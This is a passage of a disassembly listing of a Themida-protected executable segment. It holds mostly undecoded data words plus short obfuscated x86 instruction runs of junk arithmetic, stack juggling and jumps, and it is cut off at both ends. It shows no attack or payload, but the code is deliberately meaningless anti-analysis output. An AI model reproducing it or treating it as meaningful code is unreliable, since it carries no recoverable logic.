81FFFF4Ch, 0A61846EDh, 0DCF5810Bh, 1CC7111h dd 8CE95DEAh, 0FEFFFFAFh, 53F886CFh, 0E780E9B7h, 50DFF6DBh dd 0FFD8DFE9h, 66792CFFh, 0E9241C8Bh, 0FFFF8296h, 0BF57E589h dd 54917160h, 8102EFC1h, 245C5CF7h, 4EC8115h, 89000000h dd 0BD552404h, 20C329FFh, 0A6E9E889h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56630B: ; CODE XREF: Themida_:005656C3j pop ebp add edx, ebx pop ebx jmp loc_555434 ; --------------------------------------------------------------------------- dd 0B9240C89h, 3E144F38h, 0FFF35FE9h db 0FFh ; --------------------------------------------------------------------------- loc_566321: ; CODE XREF: Themida_:0056368Cj xor bl, dh mov edx, [esp] add esp, 4 jmp loc_553F78 ; --------------------------------------------------------------------------- loc_56632E: ; CODE XREF: Themida_:00563582j inc cl sub cl, 1Ch add dh, cl pop ecx jmp loc_56164C ; --------------------------------------------------------------------------- db 8Bh dd 68502424h, 2E99180Fh, 8124048Bh, 4C4h, 0FFC08300h, 0D0F7D0F7h dd 1A05D0F7h, 515C7F46h, 5FE9C189h, 89FFFED1h, 7E92404h dd 5AFFFF97h, 42C992Ch, 2B2768h, 240C8900h, 88B9B353h dd 0E8005BDDh, 2CD80059h, 4D20E9B9h, 0C2B8FFFFh, 2D253D61h dd 2DF246C2h, 4550BB53h, 0D8210611h, 0FFF36AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5663A1: ; CODE XREF: Themida_:0055A557j pop esi sub esp, 4 mov [esp], ecx mov ecx, 4 add eax, ecx pop ecx xchg eax, [esp] mov esp, [esp] loc_5663B6: ; CODE XREF: Themida_:0055472Bj ; Themida_:005601F4j push 67D8h mov [esp], ebx push dword ptr [esp] push dword ptr [esp] jmp loc_55A618 ; --------------------------------------------------------------------------- db 66h, 53h, 52h dd 0DFB39BB2h, 148BD330h, 98E95124h db 0DEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5663DB: ; CODE XREF: Themida_:0055FFC5j add ebx, 0FFFFFFFFh push edi mov edi, 0F5F9AFD3h xor ebx, edi pop edi mov edi, ebx jmp loc_5623AE ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 353468h, 241C8900h dd 0E9E0B551h, 0FFFFBF21h, 39C168h, 242C8900h, 0C5815D54h dd 4, 4C581h, 2C870000h, 0CDC8E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566432: ; CODE XREF: Themida_:005574B2j sub edi, 6B132BD4h add edi, esi add edi, 6B132BD4h pop esi xor edi, [esp] xor [esp], edi jmp loc_567AD4 ; --------------------------------------------------------------------------- dd 40AFEE81h, 0C6016365h, 40AFC681h, 0C6816365h, 597512BBh dd 20F368h, 24148900h, 0E82B850h, 7B681CB0h, 89000040h dd 2C812404h, 124h, 321BE900h, 0C681FFFFh, 4, 8704EE83h dd 248B2434h, 24048924h, 0E951D888h, 0FFFF34E8h, 4C681h dd 0EE830000h, 24348704h, 76D5E95Ch, 0C14FFFFFh, 37E908E7h dd 5EFFFFD9h, 5C24048Fh, 2424D366h, 0C772E99Ch, 8146FFFEh dd 2921E1F6h, 0E6C14E2Bh, 5E6C107h, 0E85FC681h, 0F3310B14h dd 8324348Bh, 0D82904C4h, 0F669E95Bh, 8B66FFFEh, 0EC812404h dd 4, 68240489h, 5FFAh, 24048F54h, 4240483h, 0E6BB5358h dd 0E92BC028h, 0FFFF6874h, 0F564C681h, 0F50149E8h, 0D2F5815Eh dd 4D3B3560h, 2215ED81h, 0E9514648h, 0FFFFB3D4h, 8324148Bh dd 0B15104C4h, 0B6E952E4h db 12h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56653B: ; CODE XREF: Themida_:00561388j pop ebp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] mov [esp], ebx mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], esi push 43BDh mov [esp], ebx push 284E7D81h jmp loc_55ADB4 ; --------------------------------------------------------------------------- dd 0E789575Dh, 0F4ADE951h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56657E: ; CODE XREF: Themida_:0055566Dj add esp, 4 jmp loc_5603C1 ; --------------------------------------------------------------------------- dw 0CE25h dd 53AEC02h, 47EA7935h, 8158C221h, 55B5D5EAh, 5318E9C5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56659E: ; CODE XREF: Themida_:00556E54j dec eax shl eax, 8 sub eax, 46408939h add ebx, 4B8046D5h jmp loc_55A966 ; --------------------------------------------------------------------------- dw 0B868h dd 89000003h, 32E9241Ch db 0, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5665BF: ; CODE XREF: Themida_:00558CA5j add esi, ebp add esi, 1FF83234h pop ebp sub esp, 4 mov [esp], esi pop edx pop esi jmp loc_552EE1 ; --------------------------------------------------------------------------- dd 89241489h, 4EC81E2h, 0E9000000h, 0FFFF8E0Fh, 4EA81h dd 14870000h, 34895C24h, 0EB34E924h, 0F201FFFEh, 26ABBD55h dd 0E5C1254Eh, 0F5814D04h, 6D580242h, 0FFAC14E9h, 2454F6FFh dd 0C8B6601h, 2C48124h, 66000000h, 0E081E950h, 0E952FFFFh dd 0FFFFC8ADh, 31243433h, 34332434h, 34FF5C24h, 0EC815A24h dd 4, 83243489h, 248904ECh, 24048324h, 24348B04h, 5704C483h dd 88E95053h, 81FFFF10h, 4ECh, 24148900h, 74240481h, 0E941EA5Bh dd 0FFFFE35Ch, 9C2404FEh, 0FEC5BFE9h, 0E9D7F7FFh, 0FFFF4C1Fh ; --------------------------------------------------------------------------- loc_566680: ; CODE XREF: Themida_:00564728j mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_564C52 ; --------------------------------------------------------------------------- dd 1C8B505Bh, 4C48124h, 0E9000000h, 0FFFF85CEh ; --------------------------------------------------------------------------- loc_5666A0: ; CODE XREF: Themida_:0055FCDFj add ebx, 22327E3Bh jmp loc_55692A ; --------------------------------------------------------------------------- db 0C1h dd 0E2C103EAh, 22AAE907h, 0CD80FFFFh, 0F6D5F6F6h, 1ED80D5h dd 0E957C580h, 0FFFFB10Dh, 0E92434FFh, 0FFFFB2D0h, 4C481h dd 4050000h, 68000000h, 6C2Dh, 55243C89h, 0FF3CC0E9h, 59C800FFh dd 0E951F028h, 0FFFF43B7h, 14F65266h, 885A6624h, 805A66D5h dd 0EE0023C5h, 0E9F02859h, 0FFFFFCE5h ; --------------------------------------------------------------------------- loc_56670C: ; CODE XREF: Themida_:0055D766j push ebp mov ebp, 8E37397h and esi, ebp jmp loc_55F8D1 ; --------------------------------------------------------------------------- db 81h, 0EEh, 0A4h dd 8165D731h, 0C0940BC6h, 5EF001E7h, 8958C629h, 24348BF0h dd 8104C483h, 1808B5EBh, 150DE90Dh, 0FF590000h, 0E9582434h dd 0FFFFFF88h, 83241489h, 896602ECh, 6DB02404h, 9CE9C288h dd 89FFFF94h, 2BB241Ch, 0E9000000h, 0FFFF5F1Dh, 4EC81h dd 1C890000h, 6406BB24h, 0E381687Fh, 66BE3457h, 487534Bh dd 87D0F724h, 0E95B2404h, 0FFFF097Dh ; --------------------------------------------------------------------------- loc_56678C: ; CODE XREF: Themida_:0055E207j add edi, esi jmp loc_55FD78 ; --------------------------------------------------------------------------- loc_566793: ; CODE XREF: Themida_:00563ADBj mov esi, edx pop edx jmp loc_567EC2 ; --------------------------------------------------------------------------- loc_56679B: ; CODE XREF: Themida_:005545D1j add esp, 4 xchg ebp, [esp] pop esp jmp loc_55BD44 ; --------------------------------------------------------------------------- dw 0C181h dd 814515Bh, 0BB53D9F7h, 5EB47AB2h, 815BD931h, 0F354E0F1h dd 0E9CD0922h, 0FFFF658Ch, 0B8240489h, 4C245EE4h, 70978268h dd 0C12959B7h, 0FFA147E9h, 81DAF7FFh, 0B700F6F2h, 0E0ABE978h dd 0BDB8FFFEh, 311DDE6Fh, 0C2895FF8h, 3617E958h, 0F181FFFFh dd 0D7BF1403h, 0FF4CA7E9h db 0FFh ; --------------------------------------------------------------------------- loc_566805: ; CODE XREF: Themida_:005554C5j push 52B3h mov [esp], ebx push 1 push dword ptr [esp] pop ebx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_567027 ; --------------------------------------------------------------------------- loc_56682B: ; CODE XREF: Themida_:0055BD24j pop edx shl esi, 5 xor esi, 3C35BB60h jmp loc_5626B6 ; --------------------------------------------------------------------------- dw 0EA81h dd 6B752925h, 28FDC281h, 0EA816D9Dh, 0FBB712Eh, 3AECC281h dd 0C2011077h, 3CBFBD55h, 0EDC10CD6h, 55C58103h, 290EDC73h dd 2A96E9EAh, 0EB81FFFFh, 11E52267h, 5B15EB81h, 0C3810108h dd 20A95517h, 0EB81F301h, 20A95517h, 5B15C381h, 0C3810108h dd 11E52267h, 241C875Eh, 7E5C15Ch, 6B9AED81h, 81553728h dd 7F9E242Ch, 815F6949h, 497F9EC7h, 3FE95D69h db 0F8h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5668B3: ; CODE XREF: Themida_:0055DB66j pop eax jmp loc_56138D ; --------------------------------------------------------------------------- loc_5668B9: ; CODE XREF: Themida_:0055D532j mov bh, 68h jmp loc_564309 ; --------------------------------------------------------------------------- dd 4BA52h, 0D3010000h, 8324148Bh, 4AE904C4h db 0A9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5668D3: ; CODE XREF: Themida_:00561D21j push 372Eh mov [esp], esi jmp loc_55F805 ; --------------------------------------------------------------------------- dd 4A1CBF57h, 0D1E93644h db 0CAh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5668EB: ; CODE XREF: Themida_:00554E54j neg al jmp loc_552E6C ; --------------------------------------------------------------------------- dw 6FBEh dd 55C4885Dh, 0EB89F589h, 15E95E5Dh, 87FFFEEAh, 0D5E92414h dd 89FFFEDCh, 5052241Ch, 0B151A3B4h, 59CC2885h, 0FFAEFCE9h db 0FFh ; --------------------------------------------------------------------------- loc_56691D: ; CODE XREF: Themida_:00553AC4j push 53F3h mov [esp], esp jmp loc_5659AB ; --------------------------------------------------------------------------- dw 0E950h dd 0FFFFE112h, 5C240487h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_554871 ; --------------------------------------------------------------------------- loc_566942: ; CODE XREF: Themida_:00564670j xor ebx, [esp] mov esp, [esp] push ebx push esp jmp loc_5537FD ; --------------------------------------------------------------------------- loc_56694F: ; CODE XREF: Themida_:005604F6j mov edx, [esp] add esp, 4 shr edx, 2 dec edx jmp loc_5653BE ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0FED5B1E9h, 69A1BEFFh, 53E925A1h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566973: ; CODE XREF: Themida_:00557237j pop ecx add ebp, 0FFFFFFFFh jmp loc_5551AE ; --------------------------------------------------------------------------- dd 4EC81h, 34890000h, 8DAEE924h, 74FFFFFFh, 33E90424h dd 81FFFEDDh, 201BEE2h, 0B8BE95Bh, 2C87FFFFh, 0A98BE924h dd 0C483FFFFh, 4B95104h, 1000000h, 0BDE959CBh db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5669B7: ; CODE XREF: Themida_:0055CD01j add ebp, 4 jmp loc_557FBF ; --------------------------------------------------------------------------- loc_5669C2: ; CODE XREF: Themida_:00561298j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 add ebp, 4 push edi mov edi, 4 push ebx mov ebx, 194B5071h jmp loc_561AE0 ; --------------------------------------------------------------------------- db 0F7h dd 240C87D1h, 240CE95Bh, 3487FFFFh, 0C8E95C24h, 87FFFFCCh dd 87D1F7CEh, 0DAE681CEh, 0E97CE937h, 0FFFEF2CAh, 32D7BD55h dd 18E92C67h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566A1F: ; CODE XREF: Themida_:00557411j push eax mov al, 86h push ebx mov bh, 0Fh and bh, 0F4h jmp loc_560CC8 ; --------------------------------------------------------------------------- align 2 dw 8BF3h dd 0C4812414h, 4, 0D6E9CB28h, 5BFFFF6Bh, 4C381h, 0C3830000h dd 0D5ACE904h, 83ADFFFFh, 0C8904ECh, 2000B924h, 51521382h dd 33578068h, 240C8B55h, 0FF9F06E9h, 0C8966FFh, 0AA686624h dd 1C896668h, 22FFE924h, 31ADFFFFh, 0EC8353D8h, 887FE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566A86: ; CODE XREF: Themida_:00568024j push edx mov edx, edi push edx pop ecx pop edx pop edi add eax, ecx pop ecx push 6FE8h mov [esp], ecx jmp loc_55B5AA ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 5000000h, 1CEE572Ah, 0AB2AB42Dh, 0E9D80179h, 0FFFF22F9h ; --------------------------------------------------------------------------- loc_566AB4: ; CODE XREF: Themida_:0055A690j sub esp, 4 jmp loc_566C19 ; --------------------------------------------------------------------------- dd offset dword_4D4218+3E50h dd 24048900h, 0FFA741E9h db 0FFh ; --------------------------------------------------------------------------- loc_566AC9: ; CODE XREF: Themida_:0055F9ACj pop eax jmp loc_55A601 ; --------------------------------------------------------------------------- loc_566ACF: ; CODE XREF: Themida_:0055B785j mov eax, 482E384Ah add eax, 22045D70h not eax jmp loc_56352C ; --------------------------------------------------------------------------- loc_566AE0: ; CODE XREF: Themida_:005538CBj pop edx sub esp, 4 mov [esp], ecx mov ecx, 1CB1320h jmp loc_558EA9 ; --------------------------------------------------------------------------- loc_566AF4: ; CODE XREF: Themida_:005582A6j add ebx, esi pop esi xchg ebx, [esp] mov esp, [esp] pop ecx jmp loc_552C38 ; --------------------------------------------------------------------------- db 1 dd 0F7EA81C2h, 8313900Bh, 0FE904ECh, 87FFFF6Fh, 0E95C243Ch dd 0FFFF746Eh ; --------------------------------------------------------------------------- loc_566B1C: ; CODE XREF: Themida_:0055DE8Bj or edx, ebp push dword ptr [esp] pop ebp add esp, 4 sub edx, 1 xor edx, 6FFB497Eh jmp loc_555220 ; --------------------------------------------------------------------------- loc_566B36: ; CODE XREF: Themida_:005594FCj mov cl, dl pop dx add bl, cl pop cx push 54DDh mov [esp], edx jmp loc_55A5B6 ; --------------------------------------------------------------------------- db 56h dd 0FF1EDAE9h, 5AF381FFh, 893DAE5Dh, 2434FFD9h, 83241C8Bh db 0C4h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_566FD6 ; --------------------------------------------------------------------------- loc_566B6A: ; CODE XREF: Themida_:0055C7A8j xor [esp], eax jmp loc_55FC7A ; --------------------------------------------------------------------------- loc_566B72: ; CODE XREF: Themida_:00561028j mov edx, 4 add ebp, edx pop edx sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 7BF7h mov [esp], esi jmp loc_563641 ; --------------------------------------------------------------------------- dd 4C581h, 2C870000h, 0D1D0E924h, 159FFFFh, 4F29E9D1h dd 8B66FFFFh, 8951240Ch, 0F9BB53E1h, 4B120B6Ah, 0D2F7D387h dd 0EBD1D387h, 5C97E381h, 0EBC13C60h, 0A1FFE905h, 8A68FFFFh dd 8900000Dh, 0A6E92424h, 68FFFFABh, 0AFCh, 0E9243C89h dd 0FFFFCA81h ; --------------------------------------------------------------------------- loc_566BE8: ; CODE XREF: Themida_:0055D792j add ecx, 9ECD1A83h xor [edi+20h], ecx pop ecx loc_566BF2: ; CODE XREF: Themida_:0055AE92j ; Themida_:00567E00j push dword ptr [esp] jmp loc_556DC2 ; --------------------------------------------------------------------------- dw 0BA52h dd 4, 0FFA736E9h, 3F280FFh, 33E9D120h, 0BFFFFF25h, 0FD54459Ah dd 0FF493AE9h db 0FFh ; --------------------------------------------------------------------------- loc_566C19: ; CODE XREF: Themida_:00566AB7j mov [esp], edi push 656952CEh mov edi, [esp] add esp, 4 push ebp mov ebp, 456560C1h xor edi, ebp pop ebp sub edi, 200BF20Fh push edi add dword ptr [esp], 2C3C6C2Bh pop ebx sub ebx, 2C3C6C2Bh mov edi, [esp] sub esp, 4 mov [esp], eax push esp pop eax push ebx jmp loc_55F7CC ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 81000000h, 4EAh, 24148700h, 2414895Ch, 4BAh, 246C8100h dd 7E499404h, 24540107h, 24448104h, 7E499404h, 34FF5A07h dd 0C4815F24h, 4, 5B086855h, 4890000h, 178FB824h, 93BD69A7h dd 0E969A717h, 0FFFEEBF3h, 5859CF01h, 4EF81h, 89500000h dd 405E0h, 4EE90000h, 83FFFFECh, 0C8704C1h, 24248B24h dd 3108E8C1h, 784668C8h, 99E90000h, 0FFFFFFA1h, 0E95E2434h dd 0FFFF2DCEh, 1C8BDD01h, 4C48324h, 0E904C583h, 0FFFF6763h dd 811C381h, 0EB832F4Ch, 14F753FFh, 0C3815B24h, 0CF3B67A2h dd 5F5BDD29h, 8B242C87h, 0E9552424h, 0FFFFEDF6h, 4BAh dd 8BD52900h, 0C4812414h, 4, 8B242C87h, 1C892424h, 6066824h dd 2AE90000h, 0ADFFFFD6h, 0A963E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566D3E: ; CODE XREF: Themida_:0055733Dj sub esp, 4 mov [esp], ebx mov ebx, 4 add ebp, ebx mov ebx, [esp] add esp, 4 jmp loc_55ED3D ; --------------------------------------------------------------------------- dd 9BBA525Ch, 8148527Dh, 5C75F0C2h, 78CA817Ah, 576E1F76h dd 1328BBFh, 0AFACE919h, 3489FFFFh, 1295BE24h, 0FAE964D3h dd 83FFFED4h, 3E6804C4h, 89000010h, 0F0682414h, 0E9000029h dd 0FFFFBA3Ah, 240C8B66h, 0FF56E6E9h db 0FFh ; --------------------------------------------------------------------------- loc_566DA5: ; CODE XREF: Themida_:0055E6FFj push 18A1h mov [esp], ebx push ecx mov ch, al mov bh, ch pop ecx jmp loc_56160E ; --------------------------------------------------------------------------- loc_566DB8: ; CODE XREF: Themida_:0055AD19j pop eax push esi jmp loc_559826 ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 241C8B24h, 4C481h, 68520000h, 6F08h, 81242489h dd 42404h, 815A0000h, 4C2h, 4B85000h, 1000000h, 0B4E958C2h dd 0B7FFFF9Eh, 2E7C02Ah, 0FF5C34E9h db 0FFh ; --------------------------------------------------------------------------- loc_566DFD: ; CODE XREF: Themida_:00557877j push ebx push 24h pop ebx add ebx, 0C3E15D8h sub ebx, 17B55DC7h add ebx, edi jmp loc_562B36 ; --------------------------------------------------------------------------- db 28h dd 240C8BEAh, 2804C483h, 24148BD7h, 0FE04C483h, 80D7F6CFh dd 0F800DFEFh, 0FFC055E9h db 0FFh ; --------------------------------------------------------------------------- loc_566E35: ; CODE XREF: Themida_:005540E6j push ebp pop edx pop ebp mov ecx, [esp] add esp, 4 and eax, edx pop edx shr eax, 0Ah xor eax, ecx push 23BBh mov [esp], eax xchg edi, [esp] xchg edx, edi not edx xchg edx, edi xor [esp], edi jmp loc_5572A2 ; --------------------------------------------------------------------------- loc_566E5F: ; CODE XREF: Themida_:00566EE8j push ebx mov ebx, 24DF4023h shl ebx, 8 xor ebx, 61347056h jmp loc_555555 ; --------------------------------------------------------------------------- db 5Eh dd 0D0C9E95Dh, 8B66FFFFh, 0F9E9240Ch, 5DFFFFFAh, 0AB9B850h dd 0F1E905FDh, 29000010h, 0D3015EF3h, 6689C381h, 54553E39h dd 4C5815Dh, 83000000h, 86E904EDh, 81000001h, 0E621DEC6h dd 0E9D6F70Dh, 0FFFFA8BCh, 0BE56E289h, 46772122h, 541AF681h dd 0F6817C07h, 3A70753Ch, 38E9F201h db 3Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566ED3: ; CODE XREF: Themida_:0055D598j add ebp, 4 sub esp, 4 mov [esp], ebx push 4 pop ebx jmp loc_566E5F ; --------------------------------------------------------------------------- loc_566EED: ; CODE XREF: Themida_:00556E12j mov edx, esp add edx, 4 sub esp, 4 mov [esp], ecx jmp loc_559FB1 ; --------------------------------------------------------------------------- db 0FFh dd 51533C77h, 4B15BDB9h, 0E9CB8909h, 0FFFF820Ch, 5C240C87h dd 8904EC83h, 0C4E9241Ch db 2 dup(0FEh), 0FFh ; --------------------------------------------------------------------------- loc_566F23: ; CODE XREF: Themida_:0055653Fj mov ecx, esp sub esp, 4 jmp loc_55CC2D ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 8B04C483h, 0C4812404h, 4, 0FFC34EE9h, 10B951FFh, 13B1729h dd 5908244Ch, 0FF1853E9h, 81008FFFh, 2C135E00h, 0D9E95D2Ch dd 0FFFEBCh, 0C561E9F7h, 0C701FFFFh, 905CE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566F6E: ; CODE XREF: Themida_:00564045j pop esp push edi mov edi, esp push esi mov esi, 741876FEh jmp loc_5675B0 ; --------------------------------------------------------------------------- db 53h, 89h, 0E3h dd 4C381h, 72E90000h, 5CFFFF43h, 5124348Bh, 0FFDFF1E9h dd 0A5E980FFh, 0C8BCB00h, 4C48324h, 0FFC0B60Fh, 48B8734h dd 58545024h, 4FB95152h, 0BA651B03h, 0B4161BFDh, 0F759CA29h dd 686568D2h, 3C890000h, 9AB95124h, 5606AA6Bh, 0AB745ABEh dd 0DD6DE917h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566FD6: ; CODE XREF: Themida_:00566B65j add ebp, 4 jmp loc_55A389 ; --------------------------------------------------------------------------- db 58h, 87h, 34h dd 48F5C24h, 8B665C24h, 89512404h, 4C181E1h, 83000000h dd 0C3304E9h, 240C3124h, 0FF7C85E9h, 6CBF57FFh, 0C15CCB76h dd 9BE908EFh, 8BFFFFF4h, 89532404h, 4EC81E3h, 89000000h dd 0AE92434h db 1Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567027: ; CODE XREF: Themida_:00566826j mov [esp], ebx mov ebx, esp jmp loc_563A3E ; --------------------------------------------------------------------------- db 87h, 2Ch, 24h dd 0FF23D0E9h, 0B7BD55FFh, 0C138C942h, 0F58105EDh, 11A5366Ch dd 0E902E5C1h, 0FFFEE91Bh, 0FF2434FFh, 81582434h, 4C4h dd 4885E900h, 0E955FFFFh, 0FFFF17A0h, 1333EB81h, 0DE01071Eh dd 0F9E1E95Bh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_567076: ; CODE XREF: Themida_:00554A35j mov esi, [esp] add esp, 4 push ebp push edi mov edi, 646C50FDh mov ebp, 0D465BFB2h sub ebp, edi pop edi shl ebp, 2 push ecx mov ecx, 401A4530h add ebp, ecx pop ecx jmp loc_55C81B ; --------------------------------------------------------------------------- loc_56709F: ; CODE XREF: Themida_:00555BF2j add edi, eax pop eax push ebx push eax push ebx push 69394715h jmp loc_56191C ; --------------------------------------------------------------------------- db 0BBh dd 0A03FF410h, 815BDE31h, 1D1E44C3h, 5692E90Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5670C2: ; CODE XREF: Themida_:00558262j mov dl, 6Dh sub bl, dl pop dx pop edx add bl, 0C4h add bl, al push ax jmp loc_55CAD7 ; --------------------------------------------------------------------------- db 81h, 0C6h, 63h dd 8141B625h, 0A1723CEEh, 76E95808h db 32h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5670E7: ; CODE XREF: Themida_:0055D8D5j push ebp mov ebx, [esp] jmp loc_55FFBA ; --------------------------------------------------------------------------- dd 6A67BD55h, 0B8500186h, 6EEC46DFh, 8158C529h, 9C5F7CE5h dd 4B9511Ah, 1676F93h, 0EA2959CDh, 8B5E525Dh, 0C4832414h dd 90B95104h, 816E1051h, 3D0F55E1h, 0CFF5167h, 2414F724h dd 0FFB528E9h, 0A2C381FFh, 5A44750Bh, 4EC81h, 2C890000h dd 79A7BD24h, 0F581001Eh, 1E79A5h, 70C9C381h, 0EB817A17h dd 4A12C37h, 0FEDD14E9h, 4F095EFFh, 0A0E1E91Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567166: ; CODE XREF: Themida_:00564C4Dj add edi, 3D8A2DDEh add edi, ecx sub edi, 3D8A2DDEh pop ecx xor edi, [esp] jmp loc_55A680 ; --------------------------------------------------------------------------- loc_56717D: ; CODE XREF: Themida_:005618CBj xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_559621 ; --------------------------------------------------------------------------- loc_56718E: ; CODE XREF: Themida_:00553CA2j pop esi push eax mov eax, 62810D9Dh xor ebp, eax pop eax push edx jmp loc_565094 ; --------------------------------------------------------------------------- dw 5352h dd 920ED968h, 0A9E95B28h, 5BFFFF76h, 6479BE56h, 0EE811FE4h dd 35057DBBh, 0F681EED1h, 756F735Bh, 27E9F301h, 81FFFF76h dd 0CFB306EDh, 5DE9018Ah, 2FEAC181h, 0E98161CAh, 23162CF3h dd 0FFC6A7E9h, 8EEC1FFh, 8107EEC1h, 11F7EF6h, 5EF18900h dd 0E959CE29h, 0FFFF07F8h, 4EC81h, 1C890000h, 3193BB24h dd 0F3811F40h, 2C9C3FFBh, 0DCE38143h, 815F1474h, 0EBFBBCC3h dd 5BDF01ECh, 4EC81h, 2C890000h, 0C185E924h, 0CE31FFFFh dd 0FEDEAEE9h, 7EBC1FFh, 66A9CB81h, 0E9521AD4h, 0FFFFE2CEh ; --------------------------------------------------------------------------- loc_567240: ; CODE XREF: Themida_:0055489Fj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor esi, 4A5F0DE5h pop eax and ecx, esi push dword ptr [esp] jmp loc_5567BF ; --------------------------------------------------------------------------- db 5Ch dd 0FFABEEE9h, 105FFh, 0BA520000h, 82818FE5h, 2048A72Dh dd 5D0294Fh, 4F2048A7h, 0F0BE565Ah, 0E951C146h, 0FFFF33AFh ; --------------------------------------------------------------------------- loc_56728C: ; CODE XREF: Themida_:00556863j sub edx, eax pop eax xor esi, edx mov edx, [esp] add esp, 4 push edi mov edi, 5AD568CEh sub esi, edi mov edi, [esp] jmp loc_55652E ; --------------------------------------------------------------------------- dw 0C87h dd 24048B24h, 0FFEEB1E9h, 8EFC1FFh, 71CCBD55h, 0EF295163h dd 0E2E7E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5672C6: ; CODE XREF: Themida_:00562496j mov eax, esp add eax, 4 add eax, 4 jmp loc_5678F7 ; --------------------------------------------------------------------------- db 81h, 0E7h, 0BDh dd 811B711Bh, 2C1D01EFh, 5FF90104h, 0C8BCA01h, 4C48124h dd 1000000h, 0F707E9D5h, 815EFFFEh, 0AA042444h, 10A015Ah dd 8104247Ch, 0AA04246Ch, 0E90A015Ah, 0FFFEC8FFh, 0B8240489h dd 4, 48BC629h, 4EC8324h, 89242C89h, 4C581E5h, 68000000h dd 0FE9h, 0BA241489h, 70613EB3h, 5CE9C231h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56733F: ; CODE XREF: Themida_:00561D4Ej sub ebp, edx pop edx add eax, ebp pop ebp jmp loc_55C7A5 ; --------------------------------------------------------------------------- loc_56734A: ; CODE XREF: Themida_:005629F2j pop edx jmp loc_5538C9 ; --------------------------------------------------------------------------- dd 1324685Ah, 4890000h, 1B7AB824h, 80E97E4Ah db 2, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567363: ; CODE XREF: Themida_:005574BFj mov ebp, [esp] add esp, 4 push ebp push 0BD85E14h pop ebp shl ebp, 3 sub ebp, 1 not ebp jmp loc_554541 ; --------------------------------------------------------------------------- dd 0C50A80B9h, 0C9E9816Bh, 8121D578h, 0CC176FE9h, 4E1C141h dd 7A97C981h, 0C1816854h, 74DD14B5h, 7917F181h, 0CA01458Dh dd 57C22959h, 0D86A5BBFh, 5FFA291Ah, 6C9B850h, 46E956D3h dd 29FFFFCCh, 24048BC2h, 81E28952h, 4C2h, 4C28100h, 0E9000000h dd 0FFFF788Dh ; --------------------------------------------------------------------------- loc_5673D8: ; CODE XREF: Themida_:00555C52j add ecx, 4 push edx mov edx, 33963EDh sub edx, 1 xor edx, 33963E8h jmp loc_554700 ; --------------------------------------------------------------------------- dw 405h dd 0E9000000h, 0FFFF19A9h, 4C481h, 3C870000h, 31665C24h dd 0E99C2404h, 0FFFEB828h, 0CF80A6B7h, 5E951D0h, 89FFFEF5h dd 0E2892414h, 0FEC15FE9h, 44815FFFh, 0BF00424h, 0BD556D80h dd 24860A11h, 8246C01h, 247C015Dh, 11BB5304h, 2924860Ah dd 0E908245Ch, 0FFFEB904h ; --------------------------------------------------------------------------- loc_56744C: ; CODE XREF: Themida_:00556FDCj pop ecx jmp loc_561646 ; --------------------------------------------------------------------------- loc_567452: ; CODE XREF: Themida_:005552CAj not ebp jmp loc_561F67 ; --------------------------------------------------------------------------- db 2Dh, 72h, 74h dd 1C8B21A6h, 4C48324h, 2B951h, 0C8010000h, 81240C8Bh dd 4C4h, 17E95000h, 80FFFFBAh, 0EA28D9EDh, 0FED831E9h dd 0A3E95DFFh, 8BFFFF91h, 62E9240Ch, 68FFFF6Dh, 5630h dd 0FF240489h, 0FF042474h, 48B2434h, 4C48324h, 0FFE91AE9h dd 91E95EFFh db 53h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5674B3: ; CODE XREF: Themida_:0055E56Fj push ecx jmp loc_556D1A ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 57242489h, 6269BE56h, 6DBF2A99h, 292A9962h, 0FE24E9F7h dd 685FFFFFh, 3548h, 0BB241C89h, 25637843h, 581AC381h dd 0E956779Ah, 0FFFFD098h, 4BF57h, 0F8010000h, 5F2434FFh dd 